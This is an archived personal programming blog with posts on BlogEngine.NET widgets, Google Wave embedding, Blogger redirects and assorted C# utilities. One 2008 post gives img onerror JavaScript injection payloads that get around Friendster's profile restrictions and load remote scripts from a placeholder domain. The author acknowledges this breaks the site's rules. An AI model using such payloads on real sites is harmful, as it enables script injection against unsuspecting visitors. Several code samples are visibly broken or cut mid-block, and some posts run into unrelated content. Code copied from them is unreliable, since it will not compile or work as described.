Gmail Widget - Google Wave

2010-02-27T21:45:00.002+08:00

Just trying to embed Google Wave in Gmail using the same technique I wrote before.

BlogEngine.NET – Google Wave Widget

2010-02-24T12:39:00.001+08:00

What you see is real. :)

A Google Wave Widget for BlogEngine.NET or .. Blogger too. Confused? Thanks to BlogEngine.NET’s Textbox and Blogger’s “Insert HTML/Java *” gadget. Because what you can do on those widgets and gadgets is, you can insert your custom HTML and Javacript.

But what about Google Wave? I made a tutorial a long time ago about Add Google Wave In Your Web/Blog Site. It’s been a popular tutorial, simple and straight forward, works every website! and even your.. ehem .. Wordpress (but I know you already have gadget for that). But what I did was an approach to make it possible for every web site!

So what did I do to have a Google Wave widget? Simple.

Read my tutorial about Add Google Wave In Your Web/Blog Site.
Add Textbox widget
add the DIV width the id (like what I mentioned on my tutorial)
and whala! you’re done!

Cheers!

BlogEngine.NET - Horizontal Widget Zone with CSS

2010-02-22T22:21:00.001+08:00

Yes, I think it’s a great idea to have horizontal Widget Zone in BlogEngine.NET

So how I done it? Thanks to CSS.

Here’s what to do

In your favorite theme. There’s a file named site.master and style.css.

For example. in Indigo theme (this is my default theme)

site.master

<div class="content">
    <blog:SearchOnSearch ID="SearchOnSearch1" runat="server" MaxResults="3" Headline="You searched for" Text="Here are some results for the search term on this website" />
    <asp:ContentPlaceHolder ID="cphBody" runat="server" />
    <br/>
    <div style="height: 2px; background-color: #b2b2b2;margin-top: 10px;"></div>
    <div class="horiwidgets">
        <blog:WidgetZone ID="WidgetZone1" runat="server" ZoneName="be_HORI_WIDGET_ZONE" />
    </div>
</div>

I added there the <div class=”horiwidgets”> and inside that block, I have <blog:WidgetZone ID=”WidgetZone1” runat=”server” ZoneName=”be_HORI_WIDGET_ZONE” />

“If you want to have multiple Widget Zone, always keep in mind that they must have a unique ID and ZoneName.”

and in my style.css I added this styles

.posts 
{
    clear: both;
    float: none;
}

.horiwidgets>.widgetzone
{
    float: left;
    width: 100%;
}

.horiwidgets>.widgetzone>div
{
    margin: 0px 10px 0px 10px;
    float: left;
    width: auto;
    clear: none !important;
}

and that’s all to have Horizontal Widget Zone!

Cheers!

BlogEngine.NET – WIDGET – Paypal Donation Box + Paypal Current Balance

2010-02-18T09:32:00.001+08:00

This is pretty much of a personal widget. So everything was hardcoded which means, you cannot “Edit” it. But if you like to, then you must change some codes in the widget it self. Those are the Paypal Signature and the Donation Form

You can get your Paypal API Signature here: (login first)
https://www.paypal.com/ph/cgi-bin/webscr?cmd=_profile-api-access&upgrade.x=1

Donation Button here:
https://www.paypal.com/cgi-bin/webscr?cmd=_donate-intro-outside

Download here

Installation Insturction

Well the folders are already setup for you. All you need to do is to modify the code:

1. App_Code\Controls\GetPayPalBalance.cs

in the constructor. make sure you entered your API Username, Password, Signature, and Environment (Live or Sandbox). You can get your API Signature here.

2. widget\PaypalDonationBox\widget.ascx

Insert the Form code. You can get the Donation Button code here.

3. read the web.config.installation.readme.txt

and follow everything I said there

4. make sure you have done it right.

5. copy all those folders in your BE.NET host.

BlogEngine.NET – HOWTO - Redirect Blogger Post Entry to BE.NET Post Entry

2010-02-16T07:32:00.001+08:00

Earlier from my post about redirecting my visitors to BE.NET Search here; because I haven’t found a way to redirect to the BE.NET blog entry it self.

Now I think I did it! A new method to redirect your visitors to BE.NET blog entry!

The Story

Migrating from Blogger to BlogEngine.NET is quite fun and a little bit problematic. But of course, that’s the beauty of learning.

If you want to migrate from Blogger to BlogEngine.NET. You have to use BloggerToBlogML from Aaron Lerch. He already provided steps there so I think you have to read those in his blog.

If you have multiple blogs on account. I suggest hiding the others first on your profile.

BloggerToBlogML. Is a PowerShell script that converts Blogger posts to XML (Please correct me if I’m wrong)

Importing BlogML XML to BlogEngine.NET – You have to use, Blog Importer

So, Good luck!

Now you’re all set. (Hopefully)

So how will you let your visitors redirect to your new BlogEngine.NET site and specifically on the BE.NET blog entry?

Here are the steps.

Extract and Upload this files in your BE.NET website.

In your Blogger Dashboard

1. Click Layout on one of your blogs.

2. Click Edit HTML

3. Check Expand Widget Templates

4. Copy the entire html code and paste it on your favorite html editor. Notepad++ for example. I like N++ so much

5. Search for this part “<b:includable id='post' var='post'>” (without double quote)

6. Paste this code below that element “<b:includable …….”

<b:if cond='data:blog.url != data:blog.homepageUrl'>
    <script src='http://www.jaysonragasa.net/scripts/Encoder.js' type='text/javascript'/>
    <script type='text/javascript'>
        var title = &quot;<data:post.title/>&quot;;
        
        title = Encoder.htmlDecode(title);
        
        window.location = &quot;http://www.jaysonragasa.net/bepostredirect.aspx?q=blogger|&quot; + title;
    </script>
<b:else/>
    <script type='text/javascript'>
        alert("I have moved my blogs to my new website. After clicking the OK button. You will be redirected");
        window.location = &quot;http://www.jaysonragasa.net&quot;
    </script>
</b:if>

NOTE!!! Please change the domain name which was mine .. to your domain

7. Select all those html code again from your HTML editor

8. Replace the current HTML code in your blog layout (Edit HTML Page) and click “SAVE TEMPLATE”

9. and test it out!

The Idea

The idea was simple. Since we have an identical blog entries from Blogger to BE.NET. We take the Title from blogger entry and do a Lookup on BE.NET search result then redirect. That’s it!

BlogEngine.NET - Search.aspx.cs Modification to allow ...

2010-02-15T08:15:00.001+08:00

Well, migrating from blogger to BE.NET is quite a pain specially in re-tagging the posts plus I have 4 blogs.

Another pain killing action will be redirecting blog posts from blogger to BE.NET blog post. But how do we do this?

So far I only managed to do it using Search. Sorry.

Anyway, I have written a small method called:
BloggerReTerm(string q)
Get the filename in the url and convert those dashes into spaces. If it didn't find any, it will redirect you to your home domain.

string BloggerReTerm(string q)
{
	string ret = string.Empty;

	string[] a_q = q.Split(new char[] { '|' });

	// make sure the query came from blogger
	if (a_q[0].ToLower() == "blogger")
	{
		// get the file
		string page = System.IO.Path.GetFileNameWithoutExtension(a_q[1]);
		//string page = a_q[1].Substring(a_q[1].LastIndexOf('/') + 1);
		// and leave the type
		//page = page.Substring(0, page.LastIndexOf('.'));

		// remove the dashes and replace it to spaces
		ret = page.Replace("-", " ").Trim();

		if (ret != string.Empty)
		{
			ret = System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(ret);
		}
		else
		{
			HttpContext.Current.Response.Redirect("http://" + HttpContext.Current.Request.Url.Host.ToString());
		}
	}
	else
	{
		ret = q;
	}

	return ret;
}

add that method in Search.aspx.cs

and of course .. some modifications are need in Search.aspx.cs

+ line 18: string term = string.Empty;
= line 35: term = Request.QueryString["q"];
+ line 36: term = BloggerReTerm(term);
= line 37: Page.Title = Server.HtmlEncode(Resources.labels.searchResultsFor) + " '" + Server.HtmlEncode(term) + "'";
= line 38: h1Headline.InnerHtml = Resources.labels.searchResultsFor + " '" + Server.HtmlEncode(term) + "'";
= line 110: Page.Title = "APML matches for '" + term + "'";

How this modification will work?

Go to your blogger layout page and add new HTML/Javascript element.

and add this line. for example mine.

<script type="text/javascript">
window.location = "http://www.jaysonragasa.net/search.aspx?q=blogger|" + window.location.href;
</script>

Anagram (Word Finder) – C#

2009-12-22T02:07:00.001+08:00

I remember way back before I was in college. I wrote a small Anagram program in VB6 .. but it was too slow and buggy. Now, a new version .. using Regular Expression, RE, or RegEx. Though not purely RegEx way .. it has some help of Hashtable and StringBuilder for counting characters (which is MY WAY of counting characters) and appending the words found.

Anyway, at the left .. is the screenshot of the application (click to view larger version). If you noticed, I used a-z characters as my word.. and for accuracy purposes .. you check (from the screenshot) if those words found has a character repeated.

You can use this app on your scrabble game!

look at the total result.
25,185 words found in 4.86 seconds and I have total of 192,718 English words in textfile. Am not sure if that’s fast enough .. am using a laptop with 1.8Ghz Intel Celeron M and I think I beaten Mag’s Word Finder

Virus Spawner Remover Code – C#

2009-12-19T19:16:00.001+08:00

Worm got my Windows OS today.. and it spawned 38,188 EXE files (360KB each file) in my external drive..

The logic of spawning is very common which it recurse to your entire drive and make a copy of the worm it self and has the same name of the current directory where the worm is located to.

I tried searching all of them and it returned 38,188 exe files. I tried deleting them all at once using File Explorer but am not sure why the Explorer hanged.. Tried it twice and same thing.

So to make things easier .. no UI at all .. I wrote a console app which it recurse all the directories in my external drive .. look for common pattern and delete! here’s the code ..

you’re free to tweak it.

using System;
using System.Collections.Generic;
using System.IO;
using System.Text;

namespace RemoveSpawner
{
    class Program
    {
        static void Main(string[] args)
        {
            ScanAndRemove("E:\\");
            Console.WriteLine("DONE");
            Console.ReadLine();
        }

        public static void ScanAndRemove(string b)
        {
            int counter = 0;
            
            Stack<string> stack = new Stack<string>();

            stack.Push(b);

            while (stack.Count > 0)
            {
                string dir = stack.Pop();

                try
                {
                    string[] files = Directory.GetFiles(dir, "*.exe");

                    foreach (string file in files)
                    {
                        DirectoryInfo di = new DirectoryInfo(dir);

                        if (di.Name.ToLower() == Path.GetFileNameWithoutExtension(file.ToLower()))
                        {

                            Console.WriteLine(counter + ", " + file);
                            Console.Write("deleting ... ");

                            try

                                Console.WriteLine("done!");
                            }
                            catch (Exception ex) { ; }
                        }
                    }

                    foreach (string dn in Directory.GetDirectories(dir))
                    {
                        stack.Push(dn);
                    }
                }

I’d like you to read my another post called Add Google Wave In Your Web/Blog Site this will help you how to get the WaveID.

Click the down-arrow in gadget and click Edit Settings, then enter your WaveID in the box

and click Save button! that’s it.

If you want to have multiple Google Wave object. just click the “Google Wave” link

CHEEEEERS! burp!

Better FileFolder Recursion Algorithm – More Code Friendly

2009-10-26T01:53:00.001+08:00

I’d like you to read the code first

static class FileHelper
{
    public static List<string> GetFilesRecursive(string b)
    {
        // 1.
        // Store results in the file results list.
        List<string> result = new List<string>();

        // 2.
        // Store a stack of our directories.
        Stack<string> stack = new Stack<string>();

        // 3.
        // Add initial directory.
        stack.Push(b);

        // 4.
        // Continue while there are directories to process
        while (stack.Count > 0)
        {
            // A.
            // Get top directory
            string dir = stack.Pop();

            try
            {
                // B
                // Add all files at this directory to the result List.
                result.AddRange(Directory.GetFiles(dir, "*.*"));

                // C
                // Add all directories at this directory.
                foreach (string dn in Directory.GetDirectories(dir))
                {
                    stack.Push(dn);
                }
            }
            catch
            {
                // D
                // Could not open the directory
            }
        }
        return result;
    }
}

what do you think? I like the idea of Pop Push method to use in recursion instead of method recursion..

Add Google Wave In Your Web/Blog Site

2009-10-19T01:16:00.006+08:00

Just this early morning, I have received an Google Wave invitation from my co-worker and checked it out immediately, watched the looooooong video from Google Wave and all I can say everytime they showed something was “whoa!”

So embedding Google Wave object into a web site got me something to work on. Got some disappointments due to some feature were no longer working and some of it was just uhh.. ok. Then I crossed into a site which brings back my energy.

Thanks to @Mark Essel and his How To Embed Google Wave on Your Wordpress Blog just for Wordpress. Since am using Blogger I thought it was a bit of .. different approach .. approach that it could be use in any web site.

Anyway! here’s how to embed google wave in your web site.

First thing to do, you have to know what your Wave ID is .. to easily help you with that… add embeddy@appspot.com to your contacts

Now once you created a New Wave and added Mr Embeddy to partcipate in your Wave, you’ll notice it will automatically add something like this

Something like the image below	But what you really need is this .. The WaveID

Copy that somewhere, or paste it in the Notepad.

Now you can safely remove Mr Embeddy and add public@a.gwave.com so you can make your Google Wave viewable in public. But unfortunately, only the Preview and Sandbox account can view the Wave (FOR NOW). There are some issues regarding to public@a.gwave.com you can read it here Google Wave 101.

So if you have all those setuped now.. then the real deal starts.

Adding Javascript in your website

It’s small and easy. Just add this Javascript

<script src='http://wave-api.appspot.com/public/embed.js' type='text/javascript'></script>
<script type='text/javascript'>
/* 
    Embed Google Wave Script v2.0  
    Re-writen by: Jayson Ragasa, Baguio City, Phillipines
    
    Original Version (V1.0) from Mr Embeddy: embeddy@appspot.com
*/
var div = document.getElementsByTagName('div');
/* 
    If you're going to use this script in Blogger, make sure the "<" (lesser-than) sign in "for (var i = 0; i < div.length; i++)"
    is converted to &lt;
*/ 
for (var i = 0; i < div.length; i++) {
if( div[i].id.substr(0, 5) == 'wave_' ) {
 var id = div[i].id.substr(5, div[i].id.length-5);

 var wave = new WavePanel('https://wave.google.com/wave/');
 wave.setUIConfig('white', 'black', 'Arial', '13px');
 wave.loadWave('googlewave.com!w+' + id);
 wave.init(document.getElementById(div[i].id));
}
}
</script>

for blogger users. Get it here http://pastebin.com/f6894ebaa

and INSERT IT BEFORE the </body> tag

and if you want to start embedding a (Multiple) Google Wave object in your Website, Blog Post, or Gtalk ( huh!? ;) view only though .. )

add this small HTML tag called DIV in your POST page.

<div id="wave_<waveid>" style="width: 560px; height: 420px"></div>

e.g. the WaveID is G00gl3Wav3

and you’re ready to Publish!

Give it a try and don’t forget your feedback!

Cheers!

C# Recursive File Folder Copy

2009-10-11T14:13:00.001+08:00

This is a sample code on how to recursively copy File and Folders, from Source to Destination.

here’s the code.

static void FileCopy(string source, string destination)
{
	foreach (string files in Directory.GetFiles(source))
	{
		FileInfo sourceFI = new FileInfo(files);
		DirectoryInfo destinDI = new DirectoryInfo(destination);

		string newfilename = Path.Combine(destinDI.FullName, sourceFI.Name);

		if (!File.Exists(newfilename))
		{
			File.Copy(files, newfilename, true);
		}
	}

	foreach (string dirs in Directory.GetDirectories(source))
	{
		DirectoryInfo sourceDI = new DirectoryInfo(dirs);
		DirectoryInfo destinDI = new DirectoryInfo(destination);

		string newdirname = Path.Combine(destinDI.FullName, sourceDI.Name);

		if (!Directory.Exists(newdirname))
		{
			Directory.CreateDirectory(newdirname);
		}

		FileCopy(dirs, newdirname);
	}
}

ArrayList to Array of String to ArrayList

2009-09-09T18:01:00.001+08:00

A few shortcut ways to convert ArrayList to Array of String, Array of String to ArrayList, or Join the string from ArrayList.

Here’s the code

using System;
using System.Collections;
using System.Collections.Generic;
using System.Text;

namespace ConsoleApplication1
{
    class Program
    {
        static void ArrayListToArrayOfStrings()

            ArrayList array_list = new ArrayList();
            array_list.Add("one");
            array_list.Add("two");
            array_list.Add("three");

            // THIS CONVERTS THE ARRAYLIST TO ARRAY OF STRINGS
            string[] array_of_strings = (string[])array_list.ToArray(typeof(string));

            foreach (string s in array_of_strings)
            {
                Console.WriteLine(s);
            }

            Console.ReadLine();
        }

        static void ArrayListToStringWithSeparator()
        {
            Console.WriteLine("Array List To String With Separator");

            ArrayList array_list = new ArrayList();
            array_list.Add("one");
            array_list.Add("two");
            array_list.Add("three");

            // THIS CONVERTS THE ARRAYLIST TO STRING AND JOIN IT WITH SEPRATOR "|" (PIPE)
            string str = string.Join("|", (string[])array_list.ToArray(typeof(string)));

            Console.WriteLine(str);
            Console.ReadLine();
        }

        static void ArrayOfStringsToArrayList()
        {
            Console.WriteLine("Array Of Strings To ArrayList");

            string[] array_of_strings = {
                                            "one", 
                                            "two", 
                                            "three"
                                        };

            // this can be done while instantiting a new ArrayList object
            ArrayList array_list = new ArrayList(array_of_strings);
            foreach (string s in array_list)
            {
                Console.WriteLine(s);
            }

            // or this
            array_list = new ArrayList();
            array_list.AddRange(array_of_strings);
            foreach (string s in array_list)

            string str = "one|two|three";

            // this can be done while instantiting a new ArrayList object
            ArrayList array_list = new ArrayList(str.Split('|'));
            foreach (string s in array_list)
            {
                Console.WriteLine(s);

            {
                Console.WriteLine(s);
            }

            Console.ReadLine();
        }

        static void Main(string[] args)

Augmented Reality using ARToolkitPlus in C#

2009-08-27T17:56:00.001+08:00

I was just trying this new technology trend (though, this was an old tech in Japan way back before) called Augmented Reality or AR in C# using ARToolkitPlus. The demo code can be downloaded here. You can also use Blender3D for creating a 3d models and you can export it in WPF Resource Dictionary using this tutorial here.

Anyway this is also available using Adobe Flex. Here’s the tutorial.

here’s a mini video preview using my HTC Touch ELFIN

.NET CF – Open Dialog Box

2009-08-09T12:22:00.001+08:00

ah, probably the first annoying Windows Mobile control. As a first time developer for Windows Mobile, I found this control, very very very inconvenient to use. I was actually developing something in Windows Mobile and I haven’t gone far on it and I have to use OpenFileDialog and that control crashes my plans.

Remove Special Characters – The RegEx way

2009-07-08T23:28:00.001+08:00

A nice a simple code to remove special characters in a string or simply say, convert it alphanumeric string.

Here’s a little piece of code:

static string ConvertAlphaNumeric(string inpString)
{
string s = System.Text.RegularExpressions.Regex.Replace(inpString, "[^\\w\\.@-]", "");

return s;
}

Enjoy.

Ping.fm Thingie

2009-04-11T09:51:00.002+08:00

It's just my first attempt of creating a small tool using Ping.fm APIs.

I have thought of making it simpler by posting a message directly to Run Window

like from the example above:
pingdotfm - Is the Executable filename which was located in your System32 folder.
your message here ... - The message you want to post in Ping.fm

After pressing OK Button or hitting Enter key
A small Window pops up wherever your mouse pointer is

And that's it .. That automatically close after sending your message! Simple!

And one last thing .. You can also type your message directly to that popup window just running pingdotfm.

Enjoy!

Here's the Download file

Installation
Run

And a window asking your User Application Key which can be found on YOUR APPLICATION KEY in Ping.fm

Validate it, and after that .. It creates an Executable file called PingdotFm in your System32 folder so you can run it directly in Run window.

Source Code
Adam Duffy (adam@ping.fm) gave away his source code for dealing with Ping.fm APIs .. so i'm giving it away to you too but it already contains some modifications of course to totally wrap up some things for you.

I also had a problem when running this on XP.
The Form.TransparencyKey did not work since I used a custom irregular shape form..
Here's the workaround.

#region XP TranparencyKey Workaround
{
    Bitmap bg = new Bitmap(Properties.Resources.bg1);
    Color transparentcolor = bg.GetPixel(0, 0);
    bg.MakeTransparent(transparentcolor);

    this.BackgroundImage = bg;
}
#endregion

this.BackColor = System.Drawing.Color.Magenta;
this.TransparencyKey = this.BackColor;

Encrypt/Decrypt RDP Password

2009-04-05T10:54:00.001+08:00

April 2, 2009 .. I finally Decrypted the RDP hashed password using Data Protection but some little modification and a little help from Remko Weijnen. I have made a a sample tool RDPPassword_EncryptDecrypt.zip.

Start Menu Cleaner for Windows XP

2009-03-15T09:31:00.001+08:00

Start Menu Cleaner for Windows XP is a small utility that scans all dead shortcuts and empty folders on your Programs in Start menu.

Hope am not late for this since everyone is switching to Vista. But anyway, I came across with a problem again (I'm a "When there's a problem, I make the solution" guy) where I used a tool to manage my programs in start menu, and I organize them the way I can easily open them (e.g. my Visual Studio and other Software development program are in Developer Tools folder) instead of having my programs scattered or sorted and viewed on a 2 or more columns of installed programs.. Yuck! That's a great tool by the way ... BUT!!

Talk about CONS from that tool.. Since I managed them so perfect, the problem sets in when I started to uninstall lots of my unused applications. Why what is that? You could guess ... DEAD SHORTCUT LINKS! Their Uninstaller leave a dead shortcut files in my start menu, because the uninstaller didn't found them and just leaved it there. Well it's a user's fault ;)

So just to save my time tracking down those dead shortcuts, I wrote small utility, an open source and free for all program.. Since it grows a bit, I also added a feature to scan empty folders.

Here's the screen shot, and I intentionally renamed the target files from those shortcuts for demo since I accidentally deleted them all using that utility I made. I forgot to write the condition where it deletes only the checked items .. but don't worry, that was already fixed ;)

Hope this could help someone too. :D

Enjoy! Sorry guys, no release for Vista yet since I still use Windows XP in my laptop. Planning to install Vista Ultimate on Virtual PC

Code For Today: Textbox Required Field Wrapper in Windows Forms

2009-03-07T14:50:00.001+08:00

Now most of the time when developing a Windows Forms applications. These important text boxes can be so .. a little bit of .. a lot of work .. specially when checking if the required fields(textbox) (e.g. First Name, Last Name, etc ..., Address, or whatever).

We HAVE to check if the user entered a value on those required fields. Now we probably use a possible shortest method or just check them one by one (that could be really painfull :P and it's ugly).

Now even in Windows Forms .NET, they don't provide any special controls or methods for us. So that's why I created my own wrapper for that and it is called TextboxRequiredWrapper

Here's the code:

            {
                if (tbox.Text == reqFieldMessage)
                {
                    ret = false;
                    break;
                }
            }

            return ret;
        }
    }
}

How to use it? Simple!!

TextboxRequiredWrapper trw = new TextboxRequiredWrapper();
trw.AddRange(new TextBox[] {
    txServername,
    txComputer,
    txUsername,
    txDescription
});

And here's the code to check if these textboxes has a user input value:

if (!trw.isAllFieldSet())
{
    MessageBox.Show("One of the required field is empty", this.Text, MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
    return;
}

and my last post Multi Remote Desktop Client .NET using that wrapper.

Here's the preview:

and click Add Button

Create Commit and Update command

Title	You can name it whatever you want. I named it Tortoise Commit
Command	C:\Program Files\TortoiseSVN\bin\TortoiseProc.exe
Arguments	You can find the list of TortoiseProc.exe arguments here for Commit: /command:commit /path:"$(SolutionDir)" /notempfile for Update: /command:update /path:"$(SolutionDir)" /notempfile

Pause infinite loop in Background Worker object

2009-02-14T02:34:00.002+08:00

I came across on a problem where I want to Pause and Continue my infinite loop in background worker object.
So I made a simple solution that it works pretty well.

BTW ... this is not like "Hey I like to pause for 5 seconds" I could just simply use Sleep(int milliseconds). This is user triggered condition (User Input) and not code triggered.

So the thought here was, what if I make a conditional loop inside the infinite loop where it checks for a boolean variable.

Here's the main logic inside BackgroundWorker_DoWork event.

void bgWorker_DoWork(object sender, DoWorkEventArgs e)
{
    int counter = 0;

    // infinite loop counter
    while (!bgWorker.CancellationPending)
    {
        // main logic codes here

        counter++;

        System.Threading.Thread.Sleep(500); // pause counter for 500ms just to simulate some work

        bgWorker.ReportProgress(counter, string.Empty);

        while (Helper.Pause)
        {
            // don't kill the CPU
            System.Threading.Thread.Sleep(1000);

            // make sure we respond to background worker cancellation
            if (bgWorker.CancellationPending)
            {
                // alerted that we have to stop.

                // so get back to original state
                Helper.Pause = false;

                // and get out
                break;
            }
        }
    }
}

And the Helper Class. So you can use Pause anywhere in your project.

public class Helper
{
    // let's make it accessible globally without instantiating this class
    internal static bool Pause = false;
}

Smart Prepaid Balance Inquiry

2008-12-07T17:29:00.001+08:00

I made this program again today, written in C#.

Well, I regularly check my balance specially when I'm registered to AllText25 for 200 free text (for 2 days only) and I usually have extra credits just incase, for sending text on other network and I usually overuse my extra credits, I mean, that's because my free text is expired.

Anyway, this one monitors or periodically check (every 15 seconds) your balance and free text.

Yahoo Invisible Buddy Checker

2008-11-27T18:28:00.002+08:00

Made a little app just this morning before I start to work...
So this app checks your friend if he/she is Online, Offline, or Invisible :) and thanks Invisible-Scanner

here's a small screen shot

so after clicking the Start button, the window hides it self and sits on the system tray and periodically checks your buddy (10 seconds, we don't want to kill Invisible-Scanner's web hosting server)

additional feature is you can automatically start the monitoring by providing a 2 parameters:
Your buddy ID and a condition if you want to start the scanning immediately.

ex: YahooBuddyChecker <your_buddys_id> <true|false>
your_buddys_id = your yahoo buddy
true|false = you can set TRUE if you want to automatically start the scanning, and FALSE ..... if you don't want to.

ex: YahooBuddyChecker mybuddy_2008 true

and that's pretty much it, you can create a shortcut file with those parameters.

you can download the file here:

cheers!

Bco Rss Feed For Specific Threads - (my Dream Came True)

2008-11-26T11:29:00.001+08:00

Just this morning, I deicded to create an RSS for BCO. Now finally, dream came true na daw. Written in C# uyet.
BCO RSS Feed for specific threads - Means you can have an RSS feed on any BCO threads.

Sample RSS in Coders Cafe:
http://nullstring.somee.com/rss.ashx?th … .php?id=26

Another example is Highland Geek Lounge - URL: http://www.baguiocityonline.com/daforum/viewforum.php?id=12
1. Now get that URL and include it in thread_url=
Example:
[url]http://nullstring.somee.com/rss.ashx?thread_url=http://www.baguiocityonline.com/daforum/viewforum.php?id=12

Screenshot for Coders Cafe:

and for example, I want to implement this on any RSS Feed softwares or gadgets ..

I made a screen shot on my google gadget

Friendster Notify - Desktop Version (update: Nov 19, 2008)

2008-11-19T03:49:00.001+08:00

Ok, I made an huge update on this before I go to sleep.

It's now working on multi-thread so it won't freeze the application.
And I kind of hate to use the Vista icons, and I can't find any iCandy or Flat Icons to fit on the App UI. So if you guys have one, please share?

Here's a new screen shot.

Friendster Notify - Desktop Version

2008-11-17T18:58:00.001+08:00

I kind of like the way Netlog24 (or the Netlog notification for desktop) notify me when there's an activity change in my profile, uhm .. New Message, Comments, and Friends Logs.

So now I decided to create my own Friendster - Desktop Version.
Friendster Framework Core is written in C# .NET 3.5 and I used the Friendster Mobile version to minimize the response. I was thinking of implementing their V1 or the OpenSocial, but not sure if that'll work in desktop.

Here's a working application sample screenshot in Console Mode but of course this'll ported to neat looking desktop application

That refreshes every 1 minute :)

Friendster CSS and Javascript Injection

2008-10-28T01:14:00.001+08:00

Ever wondered how to expand your design in Friendster? Animations, Alerts, etc .. Well I made a little research on how to do that and I want to give thanks to FriendsterJam.com though am not sure if they're the one who discovered this. But anyway, Friendster Inc. tries to block and limit the design on profiles maybe just to minimize some threats for end users(YOU) but we want more, don't we?! But since this is against Friendster Rules .. I say what ever harm you made on someone's computer, don't blame me on your illegal actions.

So let's just start. CSS and Javascript injection made possible by inserting an IMG tag on Media Box1. Now why IMG tag? Am not sure yet but the important fact is it can raise an event called ONERROR after setting an invalid or empty string value on SRC attribute.

pattern example:
<img width="0" height="0" src="" onerror="<your DOM script here>">

CSS Injection
Example:
<img width="0" height="0" src="" onerror="var css = document.createElement('link');css.setAttribute('rel','stylesheet');css.setAttribute('href', 'http://www.domain.com/res/your_css.css');document.getElementsByTagName('head')[0].appendChild(css);">

The DOM SCRIPT inside OnError event:
var css = document.createElement('link');
css.setAttribute('rel', 'stylesheet');
css.setAttribute('href', 'http://www.domain.com/res/your_css.css');
document.getElementsByTagName('head')[0].appendChild(css);

Javascript Injection
Example:
<img width="0" height="0" src="" onerror="var thisDOM = document.createElement('script'); thisDOM.src='http://www.domain.com/res/your_javascript.js'; navBg.appendChild(thisDOM);">

The DOM SCRIPT inside OnError event:
var thisDOM = document.createElement('script');
thisDOM.src='http://www.domain.com/res/your_javascript.js';
navBg.appendChild(thisDOM);

And that's pretty much it! And also, I like to thanks FireBUG for revealing the trick used in FriendsterJam.com. They used to hide the actual JS code by using an .SWF extension instead of .JS

Circle Dock - Open Source - Written in C#

2008-10-09T14:17:00.001+08:00

It's written in C# :D how cool is that!

Visit Circle Dock page

What Circle Dock 0.9.2 Alpha 8 Allows You to Do:

Launch your programs from a circular dock.
Drag and drop your files, folders, and shortcuts onto a circular dock that you can resize.
Rotate the dock with either your mouse wheel or the keyboard arrow keys.
Change the image shown for the icons and change the skins (compatible with icons and skins for Rocket Dock, Object Dock, etc.)
The dock appears where your mouse is by pressing a hotkey (default is F1) or your middle mouse button.
Tested on computers with multiple monitors, Windows XP/Vista, 32-bit & 64-bit, and requires only .Net Framework 2.0.
Automatically works on all Windows Vista computers and most Windows XP computers.
A new settings panel that allows you to customize many options. It updates your dock as you make changes. See it change in real time! No need to press an OK button.
Multi-language capable. Just translate the English.ini file to the language of your choice.
Change the image used for the dock icons with the easiest method out there: Just set the program to "Icon Replacement Mode" in the right-click menu of the centre icon and you can change all the icon images by just dragging and dropping new PNG images onto them! Huge time saver when you are customizing your dock!
You can now toggle the visibility of the dock by moving your mouse to any edge of your screen. By default, the left and right edges are used for toggling. No need to press a button!
Rotate the dock with your mouse wheel or arrow keys (customizable).
Click sensitivity adjustment for tablet users.
Reorder the dock items by draging and dropping them over each other.
Organize the dock items using dock folders.
By default, clicking on the centre button does not open the start menu. You can enable this in the settings panel.
Uses the default high resolution icons in Windows Vista.
New easy method of upgrading from older versions.

New Kiosk Version of the Circle Dock exe file.
Many bug fixes and some new features have been added for Alpha 8. See the Change Log
Added the ability to run multiple docks at the same time by allowing multiple Circle Dock instances to run from separate folders.
Has the ability to run from a USB key on computers with the .Net Framework 2.0 or above.
Includes French, English, Portuguese, Russian, Italian, Dutch, Hungarian, Indonesian, Serbian, Croatian and Chinese language files. (Note: Alpha 8.1 is released and now has an up to date language file for each of the languages.)
More animation and smoother performance are being looked at for Alpha 9.
Ability to run docklets, live synchronization of the dock icons, and more will be added later on.

I made a program called MultiView Reader. As you can see on the screen shot, contains a multiple text file viewed in grid view.

hmm.. most of you might be thinking why I made something like this.. Well, this tool actually helped me worked on my project from some client in UK which we need to parse those formula ingredient and different sections on that texts.. I listed that way so I can see the different patterns on the text.

Javascript Expand and Collapse (part 2)

2008-09-26T01:18:00.001+08:00

after my post Javascript Expand and Collapse, I've come out with a better solution on how to automatically add them whenever I post a code on my blog. Its pretty personal code I wrote to fit in my blog, so I guess you need to do some modification on the JS code.

This JS code, actually looks for PRE tag and check if has a class name "csharpcode" and do some little work around to add

"[-] Collapse code ..." before the posted code it self.

Anyways, here's the code ... Hope you guys like it


var pres = document.getElementsByTagName('pre');

var plen = pres.length;

for(var i = 0; i < plen; i++)
{
    if(pres[i].getAttribute('class') == 'csharpcode')
    {
        var tempObj = pres[i].innerHTML;
        pres[i].innerHTML = "";
        
        var aLinkEC = "<a id='xCode" + i + "' href=\"javascript:doMenu('Code" + i + "')\">[-] Collapse code ...</a>";
        var newLineStyle = '<br/>';
        var newCode = '<div id=\'Code' + i + '\' >' + tempObj + '</div>';
        
        var build = aLinkEC + newLineStyle + newCode
        
        pres[i].innerHTML = build;
    }
}

Prerequisite Code: can be found on my old post

and here's a little example of everything

<html>
    <head>
        <script type='text/javascript'>
            function doMenu(item)
            {
                obj=document.getElementById(item);
                col=document.getElementById("x" + item);
                
                if (obj.style.display=="none")
                {
                    obj.style.display="block";
                    col.innerHTML="[-] Collapse code ...";
                }
                else
                {
                    obj.style.display="none";
                    col.innerHTML="[+] Expand code ...";
                }
            }
            
            function addExpColelem()
            {

Javscript Expand and Collapse

2008-09-25T02:22:00.002+08:00

I updated my blog theme again and add some feature to support Expand and Collapse effect.

below is the Javascript code for that ...

function ExpandCollapse(item)
{
    content = document.getElementById(item);
    ec = document.getElementById("ec|" + item);
    
    if (content.style.display == "none")
    {
        content.style.display = "block";
        ec.innerHTML = "[-]";
    }
    else
    {
        content.style.display = "none";
        ec.innerHTML = "[+]";
    }
}

Read/Write App.config with .NET 2.0/Enterprise Library

2008-08-26T09:54:00.002+08:00

This time I would like to show you the most important changes in the System.Configuration namespace with .NET 2.0.
I have looked at my blog referrer statistics and saw about 20 hits/day by Google. Most of them were searching
infos how to configure the new Enterprise Library but also a significant number of people which seem to seek guidance to the
following questions:

How to read/write to App.Config?
How to store a list of objects in a config file via the System.Configuration mechanism?

Reason enough for me to shed more light on the System.Configuration namespace.
The main changes from .NET 1.0/1.1 in the System.Configuration namespace are:

Write to your App.Config file through the Configuration class.
New configuration model for Windows Forms applications.
